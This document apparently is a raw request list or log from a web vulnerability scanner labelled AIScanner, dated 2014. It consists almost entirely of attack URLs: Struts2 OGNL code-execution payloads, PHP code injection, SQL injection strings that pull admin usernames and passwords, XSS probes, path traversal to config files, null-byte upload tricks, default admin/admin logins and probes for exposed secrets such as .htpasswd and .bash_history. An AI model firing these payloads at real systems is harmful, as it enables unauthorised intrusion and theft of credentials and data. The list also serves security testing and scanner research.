/$%7B%23context['xwork.MethodAccessor.denyMethodExecution']=%21%28%23_memberAccess['allowStaticMethodAccess']=true%29 /%22%3E%3CsCrIpT%3Eprompt(42873) /%3Cscript%20s%3Ealert(42873) /%3Cscript%3Ealert(42873).do /%c0%ae/WEB-INF/classes/applicationContext.xml /---=---AIScanner(Version:3.0)---=--- /---=---StartScan(2014-04-23/12:23:40)---=--- /---=---StartScan(2014-04-23/12:28:42)---=--- /.bash_history /.bashrc /.git/config /.hg/hgrc /.htaccess /.svn/entries //WEB-INF/classes/applicationContext-config.xml //WEB-INF/classes/applicationContext-jms.xml //WEB-INF/classes/applicationContext.xml //index.php?app=main&func=common&action=commonJob&act=getAllUserListsInDeptTree&group=getGroupMember //jiufang/?q=${@die(print(md5(0.360964121845)))} //jiufang/?q=${@die(print(md5(0.498831004032)))} //meng/?q=${@die(print(md5(0.360964121845)))} //meng/?q=${@die(print(md5(0.498831004032)))} //mingfang/?q=${@die(print(md5(0.360964121845)))} //mingfang/?q=${@die(print(md5(0.498831004032)))} //mingyan/?q=${@die(print(md5(0.360964121845)))} //mingyan/?q=${@die(print(md5(0.498831004032)))} //miyu/?q=${@die(print(md5(0.360964121845)))} //miyu/?q=${@die(print(md5(0.498831004032)))} //naojin/?q=${@die(print(md5(0.360964121845)))} //naojin/?q=${@die(print(md5(0.498831004032)))} //pianfang/?q=${@die(print(md5(0.360964121845)))} //pianfang/?q=${@die(print(md5(0.498831004032)))} //raokouling/?q=${@die(print(md5(0.360964121845)))} //raokouling/?q=${@die(print(md5(0.498831004032)))} //sfz/?q=${@die(print(md5(0.360964121845)))} //sfz/?q=${@die(print(md5(0.498831004032)))} //siteserver/cms/background_channelsGroup.aspx?publishmentSystemID=1615&nodeGroupName=1122'%20and%20char(106)%20=1%20-- //tianqi/?q=${@die(print(md5(0.360964121845)))} //tianqi/?q=${@die(print(md5(0.498831004032)))} //wap/board.php?filter=3%20union%20select%201 //xiehouyu/?q=${@die(print(md5(0.360964121845)))} //xiehouyu/?q=${@die(print(md5(0.498831004032)))} //yanfang/?q=${@die(print(md5(0.360964121845)))} //yanfang/?q=${@die(print(md5(0.498831004032)))} //yanyu/?q=${@die(print(md5(0.360964121845)))} //yanyu/?q=${@die(print(md5(0.498831004032)))} //yb/yb.php?q=${@die(print(md5(0.360964121845)))} //yb/yb.php?q=${@die(print(md5(0.498831004032)))} //youbian/?q=${@die(print(md5(0.360964121845)))} //youbian/?q=${@die(print(md5(0.498831004032)))} //zhongcaoyao/?q=${@die(print(md5(0.360964121845)))} //zhongcaoyao/?q=${@die(print(md5(0.498831004032)))} //zhoupu/?q=${@die(print(md5(0.360964121845)))} //zhoupu/?q=${@die(print(md5(0.498831004032)))} /08744d08123d1a1136c0fbab61566b9b.asp /1.php /1.php?act=phpinfo /126245?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true /212520?class.classLoader.jarPath=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29 /446165?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true /779ea0254aa95be0a3a6a99d2f748d1c.asp /863784?class.classLoader.jarPath=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29 /898793?a=1${(%23_memberAccess['allowStaticMethodAccess']=true)(%23context['xwork.MethodAccessor.denyMethodExecution']=false)(%23_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET)(%23req=@org.apache.struts2.ServletActionContext@getRequest())(%23rep=@org.apache.struts2.ServletActionContext@getResponse())(%23rep.getWriter%28%29.println%28new%20java.lang.StringBuilder%28%22~~not_exist_in_html~~%22%29.append%28%23req.getRealPath%28%22%2F%22%29%29.append%28%22~3.1415621~%22%29.toString%28%29%29 /994469?a=1${(%23_memberAccess['allowStaticMethodAccess']=true)(%23context['xwork.MethodAccessor.denyMethodExecution']=false)(%23_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET)(%23req=@org.apache.struts2.ServletActionContext@getRequest())(%23rep=@org.apache.struts2.ServletActionContext@getResponse())(%23rep.getWriter%28%29.println%28new%20java.lang.StringBuilder%28%22~~not_exist_in_html~~%22%29.append%28%23req.getRealPath%28%22%2F%22%29%29.append%28%22~3.1415621~%22%29.toString%28%29%29 /?%22onmouseover='prompt(42873)'bad=%22%3E /?&m=brand&s=brand_list&id=1004%27+and+(select+1+from+(select+count(*) /?-dallow_url_include%3don+-dauto_prepend_file%3dphp://input /?/account/ajax/login_process/ /?/home/explore/category-1)%20AND%20(SELECT%204037%20FROM(SELECT%20COUNT(*) /?/people/360webscan?notification_id-360webscan' /?/people/ajax/user_actions/uid-1__actions-1)%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*) /?/search/ajax/search_result/search_type-all__q-360webscan' /?a=1${(%23_memberAccess['allowStaticMethodAccess']=true)(%23context['xwork.MethodAccessor.denyMethodExecution']=false)(%23_memberAccess.excludeProperties=@java.util.Collections@EMPTY_SET)(%23req=@org.apache.struts2.ServletActionContext@getRequest())(%23rep=@org.apache.struts2.ServletActionContext@getResponse())(%23rep.getWriter%28%29.println%28new%20java.lang.StringBuilder%28%22~~not_exist_in_html~~%22%29.append%28%23req.getRealPath%28%22%2F%22%29%29.append%28%22~3.1415621~%22%29.toString%28%29%29 /?act=${@print(md5(usakiller))}&load=art /?action%3A%24%7B%23a_str%3Dnew%20java.lang.String%28%27814F60BD-F6DF-4227-%27%29%2C%23b_str%3Dnew%20java.lang.String%28%2786F5-8D9FBF26A2EB%27%29%2C%23a_resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23a_resp.getWriter%28%29.println%28%23a_str.concat%28%23b_str%29%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29%7D /?app=vote&controller=vote&action=total&contentid=1%20and%20cast(ascii(substring(version() /?callback=%3Cscript%3Eprompt(42873)%3C/script%3E /?cart-addGoodsToCart.html /?cart-ajaxadd /?case=manage&act=guestadd&manage=archive&guest=1 /?class.classLoader.jarPath=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29 /?class.classLoader.jarPath=(%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false%2C%23_memberAccess.allowStaticMethodAccess=true%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29)(meh)&z[(class.classLoader.jarPath)('meh')]=true /?class.classLoader.jarPath=(%23context%5B%5C%22xwork.MethodAccessor.denyMethodExecution%5C%22%5D=new%20java.lang.Boolean%28false%29%2C%23_memberAccess%5B%5C%22allowStaticMethodAccess%5C%22%5D=new%20java.lang.Boolean%28true%29%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29)(meh)&z[(class.classLoader.jarPath)('meh')]=true /?controller=Admincp&action=liulan&page=1 /?debug=command&expression=%23_memberAccess[%22allowStaticMethodAccess%22]=true /?debug=command&expression=%23f=%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29 /?gallery-1--1--'%20%3E%3Ciframe%20src=javascript:window[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](42873)%20'--grid.html /?k=%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false%2C%23_memberAccess.allowStaticMethodAccess=true%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29%7D /?k=%25%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false%2C%23_memberAccess.allowStaticMethodAccess=true%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29%7D /?k=%27%2B%28%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false%2C%23_memberAccess.allowStaticMethodAccess=true%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29%29%2B%27 /?k=%27%2B%28%23context%5B%5C%22xwork.MethodAccessor.denyMethodExecution%5C%22%5D=new%20java.lang.Boolean%28false%29%2C%23_memberAccess%5B%5C%22allowStaticMethodAccess%5C%22%5D=new%20java.lang.Boolean%28true%29%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29%29%2B%27 /?k=%28%23context%5B%5C%22xwork.MethodAccessor.denyMethodExecution%5C%22%5D=new%20java.lang.Boolean%28false%29%2C%23_memberAccess%5B%5C%22allowStaticMethodAccess%5C%22%5D=new%20java.lang.Boolean%28true%29%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29%29%28meh%29&z%5B%28%5BFOO%5D%29%28%27meh%27%29%5D=true /?k=(%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D=false%2C%23_memberAccess.allowStaticMethodAccess=true%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29)(meh)&z[(k)('meh')]=true /?k=(%23context%5B%5C%22xwork.MethodAccessor.denyMethodExecution%5C%22%5D=new%20java.lang.Boolean%28false%29%2C%23_memberAccess%5B%5C%22allowStaticMethodAccess%5C%22%5D=new%20java.lang.Boolean%28true%29%2C%23_memberAccess.excludeProperties=%7B%7D%2C%23a_str=%27814F60BD-F6DF-4227-%27%2C%23b_str=%2786F5-8D9FBF26A2EB%27%2C%23a_resp=%40org.apache.struts2.ServletActionContext%40getResponse%28%29%2C%23a_resp.getWriter%28%29.println%28%23a_str%2B%23b_str%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29)(meh)&z[(k)('meh')]=true /?load=art&act=detail&id=10%20and%20%28select%201%20from%20%20%28select%20count%28*%29 /?m=api&a=userpreview /?m=city.getSearch&index=cfreer /?m=im&a=getDayRecord /?m=index&a=checkreset /?m=info&rewrite=1'%20union%20select%201 /?m=info.detail&id=1-cfreer /?m=offer&s=offer_list&id=1-cfreer%23 /?m=offer&s=offer_list&id=1004+and%28select+1+from%28select+count%28*%29%2Cconcat%28%28select+%28select+%28select+concat%280x27%2C0x7e%2Cb2bbuilder_admin.user /?m=vote&id=&vid=1 /?mod=account&code=Login_callback&cmd=a&from=../../../robots.txt%00 /?mod=account&code=Sendcheckmail&uname=-1%2527%20or%201=1%23 /?mod=article&act=detail&id=adhan'%20union%20select%201 /?mod=wap&code=coupon_input&msgcode=ops-success&last[]==1%20union%20/*!select*/%201 /?product-75-1@%7C1122%22%3E%3Ciframe%20src=javascript:this[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](%2242873%22)%20-index.html /?product-gnotify /?question/ajaxsearch/%27%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%6d%64%35%28%33%2e%31%34%31%35%38%32%36%34%33%29%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%23 /?redirect%3A%24%7B%23a_str%3Dnew%20java.lang.String%28%27814F60BD-F6DF-4227-%27%29%2C%23b_str%3Dnew%20java.lang.String%28%2786F5-8D9FBF26A2EB%27%29%2C%23a_resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23a_resp.getWriter%28%29.println%28%23a_str.concat%28%23b_str%29%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29%7D /?redirectAction%3A%24%7B%23a_str%3Dnew%20java.lang.String%28%27814F60BD-F6DF-4227-%27%29%2C%23b_str%3Dnew%20java.lang.String%28%2786F5-8D9FBF26A2EB%27%29%2C%23a_resp%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23a_resp.getWriter%28%29.println%28%23a_str.concat%28%23b_str%29%29%2C%23a_resp.getWriter%28%29.flush%28%29%2C%23a_resp.getWriter%28%29.close%28%29%7D /?s=/abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ /?s=abc~abc~abc~$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D /?search-showCat.html /?struts&(a)(('\\43_memberAccess.allowStaticMethodAccess\\75true')(z))&(b)(('\\43context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\75false')(z))&(c)(('\\43_memberAccess.excludeProperties\\75{}')(z))&(d)(('\\43a_str\\75\\'814F60BD-F6DF-4227-\\'')(z))&(e)(('\\43b_str\\75\\'86F5-8D9FBF26A2EB\\'')(z))&(n)(('\\43a_resp\\75@org.apache.struts2.ServletActionContext@getResponse()')(z))&(o)(('\\43a_resp.getWriter().println(\\43a_str\\53\\43b_str)')(z))&(p)(('\\43a_resp.getWriter().flush()')(z))&(q)(('\\43a_resp.getWriter().close()')(z)) /?struts&(a)(('\\u0023_memberAccess.allowStaticMethodAccess\\u003dtrue')(z))&(b)(('\\u0023context[\\'xwork.MethodAccessor.denyMethodExecution\\']\\u003dfalse')(z))&(c)(('\\u0023_memberAccess.excludeProperties\\u003d{}')(z))&(d)(('\\u0023a_str\\u003d\\'814F60BD-F6DF-4227-\\'')(z))&(e)(('\\u0023b_str\\u003d\\'86F5-8D9FBF26A2EB\\'')(z))&(n)(('\\u0023a_resp\\u003d@org.apache.struts2.ServletActionContext@getResponse()')(z))&(o)(('\\u0023a_resp.getWriter().println(\\u0023a_str\\u002B\\u0023b_str)')(z))&(p)(('\\u0023a_resp.getWriter().flush()')(z))&(q)(('\\u0023a_resp.getWriter().close()')(z)) /?tag=test'%20AND%20(SELECT%201%20FROM(SELECT%20COUNT(*) /?tools-1'/**/and/**/1=(SELECT/**/1/**/FROM(select/**/count(*) /?tools-products.html /?user-getpass-1' /?user-space-1' /?view=search&query=${echo%20print(md5(1000))} /?xss_test%3Ciframe%20src=javascript:this[%22%5Cx61%5Cx6c%5Cx65%5Cx72%5Cx74%22](%2242873%22)%3E /API/GetPageHtml.aspx /Aboutus.asp?Title=cfreer'%20and%201=2%20union%20select%2055221122%20from%20admin /AccountAction.do?dispatch=listAccount /Admin/news/getClass.asp?classid=2'&index=2 /Admin/sqlPlatform/operateSql.aspx /Ajax_Handle/UploadAttachmentHandler.ashx /Ajax_Handle/UploadLocalVideoHandler.ashx /Ajax_Handle/UploadPictureHandler.ashx /Article/?KeyWord=1'%20and%201=char(97)%20-- /Article/?Type=18%20/**/and/**/1=char(106)-- /Article/ArticleDetaileNews.aspx?type=2/**/and/**/1=char(106)-- /Broadcast/Broadcast.aspx?type='%20or%201=char(106)%20-- /Broadcast/BroadcastView.aspx?type=InfoTPXW&InfoId=1122'%20and/**/1=char(106)-- /Bulletin/Businessview.aspx?infoFlowId=0'%20and/**/1=char(106)%20-- /Bulletin/ColumnList.aspx?LanMuId=1'%20and/**/1=char(106)%20-- /Bulletin/DocmentDownload.aspx?ID=1122'%20and/**/1=char(106)-- /CFIDE/administrator/enter.cfm /CFIDE/administrator/index.cfm /CFIDE/componentutils/login.cfm /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/bigcofxs.jsp%00: /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm?Command=FileUpload&Type=File&CurrentFolder=/hkwucvyd.jsp%00: /CMSUploadFile.aspx /CVS/Entries /CVS/Root /Channel/ChannelList.aspx?a=a&LicenseType=2'%20and/**/1=char(106)-- /Channel/SearchResult.aspx?ItemName=1'%20or%201%3Echar(106)%20-- /Channel/TableDownLoadList.aspx?deptid=0011')%20and/**/1=char(106)-- /Class/ /CompHonorBig.asp?id=44%20and%201=12%20%20union%20select%201 /CompVisualizeBig.asp?id=-1%20union%20select%201 /CustomForm/CustomFormJS.asp?CustomFormID=11&FormStyleID=1&DataStyleID=1' /CuteSoft_Client/CuteEditor/Load.ashx?type=image&file=../../../CuteSoft_Client/CuteEditor/load.ashx /DataBase/%23zhi_rui_v_Base.mdb /Debug_command_page.asp /DesktopModules/DNNArticle/DNNArticleRSS.aspx?moduleid=1&categoryid=1+or+1=db_name() /DotNetInfo.aspx /DownloadFile.jsp?filename=../WEB-INF/web.xml /DownloadFile?type=full&file=/index.jsp /DownloadFile?type=full&file=index.jsp /DownloadShow.asp /Editor/asp/config.asp?my=response.write(\"69280aecbce5e35a9feb6f98ecd241f9\") /Editor/asp/config.asp?my=response.write(\"d0f2a4ac13143cb103d93d32bfa8dc2e\") /Examples/Blog/index.php/abc/def/xxx/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D /FileDownloadServlet?websiteId=1&templateName=/&fileNames=../../WEB-INF/config/db/dataSource.xml /Global.asa /Global.asax /Global.asax.cs /Goods-showcate-id-1.html'cfreer /HXINCLUDE/Admin_Upfile.asp /HXSaleManage/CustomUpfile.asp /HitCount.asp?LX=cfreer%20where%201=1%20union%20select%20Password%20from%20Admin /Inc/conn.asp /Index.action /Index.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false) /Jingdian/Jingdian_Show.Asp?Jingdian_Id=-1%20and%201=2%20union%20select%201 /LiveFiles/Pages/Inner/count.aspx?userName=DOROTADAN&ModuleType=Count&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl08&userName=friends%27%20AND%205237%3DCONVERT%28INT%2C%28SELECT%20CHAR%28113%29%2BCHAR%28108%29%2BCHAR%2899%29%2BCHAR%28121%29%2BCHAR%28113%29%2B%28SELECT%20TOP%201%20SUBSTRING%28%28ISNULL%28CAST%28name%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C100%29%20FROM%20master..sysdatabases%20WHERE%20ISNULL%28CAST%28name%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20NOT%20IN%20%28SELECT%20TOP%205%20ISNULL%28CAST%28name%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%20FROM%20master..sysdatabases%20ORDER%20BY%20name%29%20ORDER%20BY%20name%29%2BCHAR%28113%29%2BCHAR%28101%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28113%29%29%29%20AND%20%27Blhe%27%3D%27Blhe /Login.action?class.classLoader.jarPath=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false) /MemberLogin.asp /MockLogin.aspx /NewsClass.asp /NewsType.asp?SmallClass='%20union%20select%200 /News_search.asp?key=7%25'%20union%20select%200 /NginsxStatus /Plugins/Doc.aspx?id=1/**/and/**/1=1 /Plugins/Doc.aspx?id=1/**/and/**/1=2 /Plus/Promotion.asp /Product.asp /ProductBuy.Asp /ProductBuy.asp?UpdateOrder=%E6%9B%B4%E6%96%B0%E9%80%89%E6%8B%A9 /ProductShow.asp?ID=98%20and%201=1%20union%20select%201 /Providers/HtmlEditorProviders/Fck/fcklinkgallery.aspx /ResultXml.aspx?column=banner&table=sys.v_$version%20where%20rownum=1--&k=jwc /SRP2003/UserManage/sysuser/modifypage.asp?id=1 /ScoreProductSearchList.aspx?ProductCategoryID=12&Score1=2&Score2=3%20and%20char(106)=1%20-- /ScoreProductSearchList.aspx?ProductCategoryID=12&Score1=3%20and%20char(106)=1%20-- /ScoreProductSearchList.html?ProductCategoryID=12%20and%20%20@@version=1%20-- /Search.asp /Search.asp?GetType=MainInfo&SubSys=SD&Keyword=1&s_area=1%20union%20select%20df3342ecbf86e257() /Search/SearchList.aspx?keyword=1&node=0/**/and/**/db_name()>0 /Service/Login/LoginMgr.ashx?password=abcde&isRemenber=true&type=login&stamp=0.24712701397947967&username=a'%20or%20'1'='1 /SiteServer/cms/console_user.aspx?AreaID=0&PageNum=0&Keyword=txexsxt%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29%29+AS+t0--&CreateDate=0&LastActivityDate=0&DepartmentID=0&TypeIP=0 /SubmmitOrderHandler.aspx?Action=GetUserShippingAddress&ShippingId=2 /TEXTBOX2.ASP?action=modify&news%69d=122%20and%201=2%20union%20select%201 /Template/blue/style/global.css /TreeDialogController.zc?backId=buyer_id_0&backName=buyer_name_0&dialogType=radio&method=getBuyerDialog&tempBackId=temp_buyur_id_0&tempBackName=temp_buyer_name_0 /Upload.asp?action=save&type=IMAGE&style=aaaa' union select S_ID /Upload.asp?action=save&type=IMAGE&style=firefox%27%20union%20select%20S_ID /UserCenter/platform/user.aspx?page=2&UnLock=True&UserNameCollection=1')%20and%200%3C(select%20cfreer);-- /ViewSource/ProExamineView.aspx?ActivityInstanceId=0&ActivitySchemeGuid=00000000-0000-0000-0000-00000000000'-- /ViewSource/SrcStencilList.aspx?listType=1&SerailNO=11xxxxxxxx&buqiId=22&infoflowId=1122'%20and/**/1=char(106)-- /WEB-INF/classes/struts.xml /WEB-INF/struts-config.xml /WEB-INF/struts.xml /WEB-INF/web.xml /Web.config /Web/Exam_List.aspx?typeid=18%20or%20(char(106)=0) /WorkArea/ContentDesigner/ekajaxtransform.aspx /_database/_qiyedata.asp /_database/qiye_free.asp /_vti_bin/_vti_adm/admin.dll /_vti_bin/_vti_aut/author.dll /_vti_bin/shtml.exe?_vti_rpc /_vti_cnf/ /_vti_pvt/ /a.php /abc /abc-abc-abc-$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D/ /abc/abc/abc/$%7B@print(md5(base64_decode(MzYwd2Vic2Nhbg)))%7D /about/?module=../robots.txt&fmodule=7 /about/show.php?lang=cn&id=22%20and%201=2%20UNION%20SELECT%201 /aboutus.html /aboutus.php?type=1'and%20(select%201%20from%20(select%20count(*) /access.log /account/ajax/login_process/ /admin /admin.cfg /admin.php /admin.php?c=ajax&f=exit&filename=opt&group_id=1%20union%20select%203 /admin/ /admin/.htpasswd /admin/Editer/Upload.asp?action=save&type=IMAGE&style=aaaa' union select S_ID /admin/Editer/Upload.asp?action=save&type=IMAGE&style=firefox%27%20union%20select%20S_ID /admin/EditorAdmin/Upload.asp?action=save&type=IMAGE&style=aaaa' union select S_ID /admin/EditorAdmin/Upload.asp?action=save&type=IMAGE&style=firefox%27%20union%20select%20S_ID /admin/EditorAdmin/upload.asp?id=1&d_viewmode=&dir=../admin /admin/Lib/Action/noadmin.class.php?action=b78a0164cbef4b513aaae59653f525dd&a=0f5264038205edfb1ac05fbb0e8c5e94 /admin/SysAdmin_list.asp /admin/_content/_About/AspCms_AboutEdit.asp?id=1%20and%201=2%20union%20select%201 /admin/admin/getpassword.php?action=next4&abt_type=2&password=123456&passwordsr=123456&array[0]=cfreer1122 /admin/admin/getpassword.php?p=cXMnIGFuZCAxPTIgdW5pb24gc2VsZWN0IDEsMixjb25jYXQoMHg2MDc0Njg2OTczN2U2OTczNDA2ZTZmNzQyMzY1Nzg2OTczNzQ1ZjY5NmUyMzc0Njg2OTczNDA3MzY1NzI3NjY1NzI3ZTMzMmUzMTM0MzEzNTM5MzIzMTMyNjAsYWRtaW5faWQsMHgzYSxhZG1pbl9wYXNzLDB4N2U3ZTdlN2UpLDc3NTgsNSw2LDcsOCw5LDEwLDExLDEyLDEzLDE0LDE1LDE2LDE3LDE4LDE5LDIwLDIxLDIyLDIzLDI0LDI1LDI2LDI3LDI4LDI5LDMwLDMxIGZyb20gbWV0X2FkbWluX3RhYmxlIGxpbWl0IDEjLjQ4YjQ2MjJlNTBmNzc2ZTBhMzE4MTNiNzJiZWY1NzY3 /admin/admin_audit.php?status=1%27%29;phpinfo%28%29;// /admin/ajax.asp?Act=modeext&cid=1%20and%201=2%20UNION%20select%20111%26Chr(13)%26Chr(10)%26username%26chr(58)%261%26Chr(13)%26Chr(10)%26password%26chr(58)%20from%205u_Admin&id=1%20and%201=2%20UNION%20select%201%20from%205u_Admin /admin/ap\\-application\\.bootstrap /admin/demos/upload.php /admin/editor/demos/upload.php /admin/ewebeditor/Upload.asp?action=save&type=IMAGE&style=aaaa' union select S_ID /admin/ewebeditor/Upload.asp?action=save&type=IMAGE&style=firefox%27%20union%20select%20S_ID /admin/ewebeditor/admin_login.asp /admin/ewebeditor/admin_login.asp?action=login&usr=admin&pwd=admin /admin/ewebeditor/db/ewebeditor.mdb /admin/fileopen.asp?filename=../index.asp /admin/ids/waf_update.php /admin/include/uploadify.php?tablepre=xx&met_lang=met_lang&lang=cn&met_admin_table=met_admin_table%20where%20usertype=3%23&metinfo_admin_id=1&metinfo_admin_pass=2&type=upfile&met_file_format=jpg|pphphp /admin/index.asp /admin/index.php?_m=../../robots.txt%00&_a=admin_list /admin/kindeditor/php/file_manager_json.php?path=/ /admin/login.jsp /admin/login.php /admin/login.php?action=login&usr=admin&pwd=admin /admin/login/login.php /admin/manageAPP.php /admin/online.asp? /admin/online.asp?key=db /admin/payonline.php?act=login&table=information_schema.SCHEMATA%20where%201=(select%201%20from%20%20(select%20count(*) /admin/picupload.aspx /admin/receive.php?signMsg=0FEBF34C4A2EBF825F60025D6C0576F2&version=%3Cobject%20data=data:text/html;base64 /admin/sysadmin_view.asp /adminManager/eWebEditor/Upload.asp?action=save&type=IMAGE&style=aaaa' union select S_ID /adminManager/eWebEditor/Upload.asp?action=save&type=IMAGE&style=firefox%27%20union%20select%20S_ID /admin_aspcms/_content/_About/AspCms_AboutFun_user.asp?action=edit /admin_aspcms/_content/_Comments/AspCms_TabAdd.asp /admin_aspcms/_content/_Spec/AspCms_SpecAdd.asp /admin_aspcms/_content/_Tag/AspCms_Tag.asp /admin_aspcms/_content/_tag/aspcms_tag.asp /admin_aspcms/_expand/_form/AspCms_FormFun.asp?action=del&FormField=cfreer&id=1122 